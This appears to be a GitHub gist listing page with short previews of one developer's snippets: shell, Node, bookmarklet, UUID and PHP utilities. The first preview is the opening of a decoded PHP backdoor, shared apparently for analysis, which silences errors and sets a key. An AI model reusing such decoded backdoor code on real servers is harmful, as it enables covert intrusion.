Skip to content

Instantly share code, notes, and snippets.

@duzun
duzun / hakces.php
Last active May 13, 2021 13:41
Decoded hack code from http://pastebin.com/8asDWWrJ
<?php
/**
* Decoded hack code from http://pastebin.com/8asDWWrJ
*
*/
//###=###
error_reporting(0);
ini_set("display_errors", "0");
$_key = 'f8e7ff5a';
@duzun
duzun / optimag
Last active August 11, 2018 00:54
Compresses images using on-line services.
#!/bin/sh
# https://gist.github.com/duzun/234bd3ca69b243bb32bb
basedir=`dirname "$0"`
optimagurl=https://duzun.me/optimag.js
optimagjs=$basedir/optimag.js
case `uname` in
*CYGWIN*) optimagjs=`cygpath -w "$optimagjs"`;;
@duzun
duzun / install-addon
Last active August 29, 2015 14:20 — forked from jeffgca/install-addon
A node script that abuses child_process to run cfx and post the resulting xpi to Firefox.
#!/usr/bin/env node
/**
* A node script that abuses child_process to run cfx and post the resulting xpi to Firefox.
* Requires: a working installation of the Add-on SDK (with cfx on your PATH)
* and a recent version of Firefox with the 'Extension Auto-installer' extension installed.
*
* Original gist https://gist.github.com/canuckistani/9301061
*
* Improved by Dumitru Uzun (DUzun.Me)
@duzun
duzun / HTTPAuthLogout.js
Last active August 29, 2015 14:24
Logout from a website using HTTP Authorization - Bookmarklet
/**
* Logout from a website using HTTP Authorization.
*
* Inspired by http://stackoverflow.com/a/14329930/1242333
*
*/
(function(window,location,command,outcome,undefined){
function done(e) {
if ( !e || this.readyState == 4 ) {
outcome && location.reload();
@duzun
duzun / uuid.js
Last active February 27, 2024 18:31
A simple UUID v4 generator, relying on Math.random() + Date.now()
/** Generates UUID v4
*
* @node There is a bug in Chrome's Math.random() according to http://devoluk.com/google-chrome-math-random-issue.html
* For that reason we use Date.now() as well.
*/
function UUID() {
function s(n) { return h((Math.random() * (1<<(n<<2)))^Date.now()).slice(-n); }
function h(n) { return (n|0).toString(16); }
return [
s(4) + s(4), s(4),
@duzun
duzun / gotoGithubIO-bookmarklet.html
Last active October 22, 2015 20:32
Go to github.io of a github repo which has gh-pages branch.
<a class="btn btn-default btn-info bookmarklet" href="javascript:(function(d,b,c,a){b=d.location;a=b.pathname.split('/');c=b.hostname;return'github.com'==c&&2<a.length?(a=b.protocol+'//'+a[1]+'.'+c.replace(/\.com$/,'.io')+'/'+a[2],void d.open(a,'_blank')):alert('Go to a github repo and try again!'),!1})(this);">
Go to Github.IO
</a>
@duzun
duzun / latency.markdown
Created May 7, 2016 14:51 — forked from hellerbarde/latency.markdown
Latency numbers every programmer should know

Latency numbers every programmer should know

L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns             
Compress 1K bytes with Zippy ............. 3,000 ns  =   3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns  =  20 µs
SSD random read ........................ 150,000 ns  = 150 µs

Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs

@duzun
duzun / ocp.php
Created June 7, 2016 10:55 — forked from ck-on/ocp.php
OCP - Opcache Control Panel (aka Zend Optimizer+ Control Panel for PHP)#ocp #php #opcache #opcode #cache #zend #optimizerplus #optimizer+
<?php
/*
OCP - Opcache Control Panel (aka Zend Optimizer+ Control Panel for PHP)
Author: _ck_ (with contributions by GK, stasilok)
Version: 0.1.7
Free for any kind of use or modification, I am not responsible for anything, please share your improvements
* revision history
0.1.7 2015-09-01 regex fix for PHP7 phpinfo
0.1.6 2013-04-12 moved meta to footer so graphs can be higher and reduce clutter
@duzun
duzun / clone-es5.js
Created July 8, 2016 19:56 — forked from jherax/clone.js
JavaScript: clona o extiende un objeto
/**
* Creates a deep copy of an object
* @param {Any} from: Source object to clone
* @param {Object} dest: (Optional) destination object to merge with
* @return {Any} The cloned object
*/
var clone = (function() {
var _toString = Object.prototype.toString;
function _clone (from, dest, objectsCache) {
@duzun
duzun / вопросы-для-IT-собеседования
Created August 29, 2016 14:11 — forked from slavcodev/вопросы-для-IT-собеседования
Нормальные вопросы для IT-собеседования
Вы ранее привлекались за хранение данных в глобальных переменных?
Вы когда-нибудь делали .Net за деньги?
Сформулируйте зависимость времени исправления критического бага от seniority присутствующего менеджера
В своём резюме вы указали знание php. вам не стыдно?
Перед вами кисть, холст и мольберт. напишите компилятор